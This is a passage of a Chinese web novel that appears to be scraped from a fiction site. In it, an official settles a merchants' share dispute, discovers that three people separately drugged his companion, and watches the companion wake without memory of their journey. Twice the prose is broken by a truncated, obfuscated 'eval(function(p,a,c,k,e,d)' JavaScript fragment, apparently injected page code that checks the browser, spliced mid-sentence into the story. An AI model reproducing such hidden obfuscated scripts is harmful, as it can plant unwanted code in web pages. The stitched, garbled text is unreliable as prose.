院子里，静得能听见虫鸣，听见风动。 众人莫不露出羞愧之色。 方才喧闹的四人里，顾万芝是最年长的。他慢慢站起身，朝赵斐深深一揖：“赵大人，在下……惭愧。” 这次，他胖脸上浮起一层薄汗，似乎真心羞愧。 姚仲德跟着起身：“在下，也惭愧。” 梁厚和卫松庭亦想起身，赵斐摆了摆手，示意他们坐下，像是给这场闹剧画句点。 到此刻，大伙儿才心甘情愿听赵斐的话。 罗绍环不声不响盯他看，茶水抿了一口，又一口。 他心道：这赵大人虽是榜眼，但官威压得住场面，也能得拿才智和魄力说话。 服得了人心。 相较之下，那明大人虽则惊才绝艳，可到底儒善了些。 若大伙儿相安无事倒好办…… 但万一，哪天起了纷争，“他”未必镇得住。 这选靠码头的事，还是急不得。 赵斐起身，站定。 青袍微动，鱼符叮当响。 商贾们静下来，连喘气声都轻了。 “诸位，今日这事，”赵斐轻吸了口气，朗声道：“我不愿见。可既闹开了，咱得想辙转圜，别一味吵嚷。” “愿听候赵大人差遣！” 梁厚赶紧迎合。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“继续！”顾万芝抢着接话，胖脸笑出了花，“听赵大人的！” 赵斐与他说笑：“今日暂且听我，往后，便要听罗翁的。” “好！” “听赵大人的，也听罗翁的！” 院子活泛起来。 赵斐拿起铜锣，轻敲一声。 接着，他从袖中掏出一本册子：“我这里有个章程：各行业的股份，按各自去年的销量排序，安排占比。至于价钱……” 他故意顿了顿，看着众人紧张的神色，笑了笑：“按起拍价五千两认购二成股权算，每十分一股权售二百五十两，诸位觉得如何？” “赵大人明鉴！就这般定了！” “这法子公道！真公道！” “庆功！咱们赶紧签了契约，去荷月楼庆功！” 午后的风，吹出绯绸红浪，像是也在点头称是。 …… 夕阳斜照，院子里，人声渐散。 赵斐看着众人背影三三两两走远，消失在影壁后头，他笑着舒了口气。 “昆玉，”他心里念叨着，“希望我没让你的心血白费吧。” …… 栖云雅阁。 走廊上，赵斐的青袍被穿堂风吹得飘起。 他心里想着明桂枝，不禁嘴角噙笑，一边琢磨如何说出今日喜讯，一边想象“他”的回应。 “他”或许松一口气，眉眼弯弯，像春日里的桃花。 又或者，会怨他下了药让“他”昏睡，致使“他”错过今日的好戏？ 思绪万千间，嘴角愈发上扬，步子愈轻。 却忽然，一道绿影冲到他身前，快得像闪电劈开夜色。 赵斐猝不及防，脸上“啪”的一声，火辣辣地疼。 他愣住，定睛一看，是关倩兮。她绿裙飘动，眼睛红肿，泪痕未干。 “你！”关倩兮怒道，嗓音沙哑，“我翻过药渣，你在明郎的药里下了酸枣仁？是不是！” 赵斐捂着脸，怔怔道：“是……” 心口闷闷的。 关倩兮瞪着他，泪珠滚落，哑声道：“你很聪明？多管闲事！我给她下了蒙汗药，再加上你的酸枣仁，他昏睡到现在都未醒！” “你也下了蒙汗药？”赵斐愣住，脑子嗡嗡作响。 关倩兮一怔：“什么叫‘也’下了？你也下了蒙汗药？” 话音未落，身后“咣”一声响。 两人回首，只见方靖跌了汤药。 药碗碎地，汤汁溅开，热气腾腾。 方靖站在那儿，愣愣地问：“你们……也下了蒙汗药？” 赵斐和关倩兮第一次如此默契，异口同声。 “‘也’？” 方靖叹了口气，弯腰捡起碎片，低声道：“唉……我也下了蒙汗药。” …… 47.醒 次日傍晚，栖云雅阁。 暮光穿过窗棂，漏出斑驳光影。 床榻上，明桂枝脸色白如新雪。 赵斐坐在榻边，每隔片刻便要探“他”的鼻息。指尖颤了又颤，触到那微弱的温热，他才稍稍安心，可心随即又悬起…… 太轻了，这鼻息似乎下一瞬就会消散。 “他”昏睡近两天了，没有丝毫苏醒的迹象。 县衙大夫倒是轻描淡写，说，明大人无恙，睡够了自会醒来。 那妖妇闻言如释重负，眉目舒展，转身去煎药。 方靖也松了口气，回房补觉。 唯有他，一颗心空落落的，有个声音反复呢喃：“万一，万一……” 生平第一次，他有种无能为力的失控感，仿佛一脚踏空，坠入无底深渊，耳边风声呼啸，可一回神，却还在“他”的榻前，动也不敢动，生怕错过“他”一丝气息。 如果，“他”以后都醒不来，他们的回忆足够伴他余生吗？ 书院六年，他们连点头之交都算不上，比陌生人只多半分在意。 还是他单方面的在意。 真正相知，不过这半月有余的光阴罢了。 这点微薄的交集，能否抵得过岁月漫长？能历久弥新吗？ 抑或，终将湮没在功名利禄、娶妻生子的琐碎里？ 他不敢想，也不愿想。 …… 榻上，明桂枝的呼吸骤然重了起来，眼珠在眼皮下不住滚动，眼缝微启，似在梦中挣扎。 赵斐心头一紧，猛攥“他”手腕，掌心已渗出冷汗。 明桂枝低低呜咽一声。 “你醒了！” 赵斐声音喑哑，带着劫后余生的颤意，又惊又喜。 他轻扶“他”坐起，小心翼翼，怕惊碎一场梦。 却见“他”神情淡漠，目光上下扫他。 赵斐蓦地一怔。 这眼神，他认得。 十二岁那年，书院后山松林间，他们的初次交谈…… “他”也是这样打量他。 审视，还透着疏远。 “赵斐？”那人挑眉。语气平平，不带一丝情绪。 ……和那时如出一辙。 “你不记得我了？”他脱口而出，随即自知失言——“他”既唤他姓名，何来“不记得”？ “记得，”对方淡淡应道，“康顺侯府的赵斐，字允书……”说着，朝他轻笑：“你告诉过我。” 这笑意极浅，只漾在唇角，未及眼底。 是礼貌的疏离，也是倨傲的冷漠。 明桂枝向来如此。 对谁都如此。 从来，一直。 可是，那个眉眼弯弯、笑如春风的人呢？ “他”……也是明桂枝吗？ 赵斐手劲一紧，攥得对方“嘶”一声。 “他”猛地抽出手，动作利落。 “放肆。” 语气肃然，仿佛斥责一个逾矩的下属。 赵斐不眨一瞬盯“他”，缓缓开口：“去岁书院期考，策略一科……你可记得题目？” 每一个字都像从胸腔挤出，带着隐隐的颤。 明桂枝嗤笑：“你考我？” 话里带着傲气，熟悉得让赵斐脖颈发凉。 无数次，在书院被“他”碾压的瞬间，此刻一一重叠眼前。 “答我。” 他一字一顿逼问：“你答我。” “《舜无为，禹勤事功业，孰优？》。” “你我……谁的策论夺魁？” “好笑，曾几何时你的策略取过第一了？” 赵斐呼吸一滞。 这话像刀，冷不丁割他旧日伤疤。 他惊觉那疤痕处竟不痛了。 因为……在那个德州的雨夜，明桂枝一句“你以别人作绳墨，如何能丈量自己的输赢？” ，早已将他所有不堪的伤口治愈。 如今，痛的是别处。 他定了定神，抱着一线希望试探道：“那……德州的事，你可记得？” 明桂枝蹙眉：“德州？我们已启程？如今在何处？” “扬州。”他简短答道，追问：“你可记得关倩兮是谁？” “他”思索片刻，推测道：“扬州属苏州府地界……你问的此人姓关，可是前苏州织造关若颐的女眷？”有一丝不确定，却依旧敏锐。 赵斐心如坠冰窟，“他”还是那个明桂枝。 聪慧无双，一点就透。 可为何忘了与他共历生死的记忆？” 明桂枝问道：“我们启程多久了？” “一个月。” “为何这么久才到扬州？” “出了点波折。”他顿了顿，仿佛垂死挣扎：“你……愿意细听吗？” “不必，”对方冷冷打断，声线如冰，“我想休息，明天如常启程。” 说罢，转过身，背对他躺下，青丝散在枕间，像一幅无言的画。 赵斐僵在原地，喉头哽咽。他木然退出房间，脚步沉重如灌铅。 栖云雅阁四处都点了灯，生怕怠慢了这几位贵宾。 一抬眼，走廊灯火通明。 他心有戚戚。 只觉得连光都怜悯他此刻的空落。 珍宝尚在，却已不再是他的。 …… 整晚，赵斐半梦半醒。 时昏，时明。 梦里，夜半松涛簌簌。 明郎在前头走，黛袍衣袂随风飘动，随时融入夜色。 赵斐急切追赶，碾碎一地月光。 他追得愈急，那人身影便离得愈远。 明明 “他”只悠悠踱步，偏偏他离“他”总差半寸。 “明郎！”他哑着嗓子唤。 那人终于驻足，一回首，侧颜浸在月色中，笑意融融。 眉眼弯弯，是他熟悉的笑。 害他眼眶发酸。 “跟我回去。”他伸手拽“他”衣袖。 明郎轻轻避开。 “允书，再见。” “为何道别？你要去哪里？” “我只是你的梦……”明郎身影渐淡，如青烟散去，低语：“你该醒了。” 雾霭忽浓。 赵斐踉跄扑去，却只拥住满怀松香。 顷刻，松针如暴雨倾泻，越积越高。 他靴子陷进松针堆里，腐叶混着湿泥，漫过他脚踝。鞋底越拔越深，如困入沼泽。 “明郎，明郎？”他用尽力喊：“明郎！你在哪儿？” 声音被雾气吞得干干净净。 “昆玉！”他改唤表字，“明昆玉，你应我好不好？” “明桂枝！你出来！” 索性连名带姓唤“他”。 松林深处红影一闪。 是关倩兮倚在树旁，绯裙似血，在雾中绽开。 “赵大人找谁呢？明郎昨夜在我榻上，可累得很。” 笑容妖冶。 赵斐怒火中烧，拔剑劈向幻影。 剑光劈开浓雾的刹那，松树化为无数明桂枝的影子，围绕他旋转…… 或嗤笑，或蹙眉，或冷眼睨他。 “你不是一直想我恢复记忆么？”千百个声音重叠着问。 赵斐的剑“哐啷”坠地。 “我……”他跪在松针堆里，喉头腥甜：“我不想了！” 不知是冷汗，还是泪，涔涔滑落他脸颊。 咸咸的、涩涩的。 “你继续忘，继续失魂……” “你继续做我的明郎，好不好？” “求求你！” 风吹散雾，掠过树梢。 影子们窃窃私语。 “真狠心，人家还为他挡过刀……” “心肠歹毒，他有断袖之癖，还肖想拖我下水！” “恶心透了，怎会有如此阴鸷之人？” 私语如针，刺入他心扉。 迷雾又袭来，困他于无尽深渊。 却一睁眼，他竟又回到栖云雅阁，回到“他”的厢房里。 烛光昏暗摇曳，明桂枝倚在床头，半边脸隐在阴影里，见是他，只微微抬了抬眼。 “何事折返？” “你认真想想……”赵斐手执长剑，额头冷汗涔涔，“我们在德州、在景州……在海津镇经历了什么？” “我不记得，你别妨碍我休息。” 赵斐咬紧牙关，语气里尽是哀求：“拜托，你再想想……” “你！” “求求你……” “赵斐，你莫不是魔怔了？”明桂枝还是冷笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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明桂枝在催。 赵斐深深吸了口气，皱眉推开门。 “允书？” 一声轻唤，像水落入干涸的湖心，唤起他无穷无尽的涟漪。 赵斐猛地抬眼。 映入眼帘的，是“他”弯弯的眉眼。 他怔在原地，连呼吸都忘了。 胸腔里翻涌的情绪几乎要冲破桎梏，三步并作两步扑到榻前：“你……” 声音哑得不成样子。 “你怎么呆呆的？” 明桂枝歪头看他，眼角眉梢都是笑意。 赵斐强自按捺住急促心跳，顺了顺气息。 “你记不记得去岁书院期考，策略科考的什么？” “我有失魂症，你忘了？”明桂枝轻敲额头，笑道：“允书，你是不是也有失魂症？” 他目光紧紧锁住她：“那德州呢？我们在德州经历什么？” “我们联手算计徐霁民，后来被他暗算，”她敛住笑，叹道：“你为救我，受了伤。” “你救我受的伤更重。”赵斐固执纠正，看向门外，“那关倩兮呢？那妖妇是谁？” “她不是妖妇，她是倩娘，我的妾侍……” 话未说完，赵斐伸手拽“他”入怀，力道大得惊人。 明桂枝挣了挣，终究没挣脱。 “允书？” “是梦……”他下巴抵着“他”发顶，轻轻呢喃：我做了个噩梦。” “你梦见什么？” 他收紧手臂，将“他”牢牢禁锢。 舌尖又酸又涩，连带眼角都是涩得发胀。 “不重要，梦里什么都不重要。” “嗯？” “那是个梦……才最重要。” ……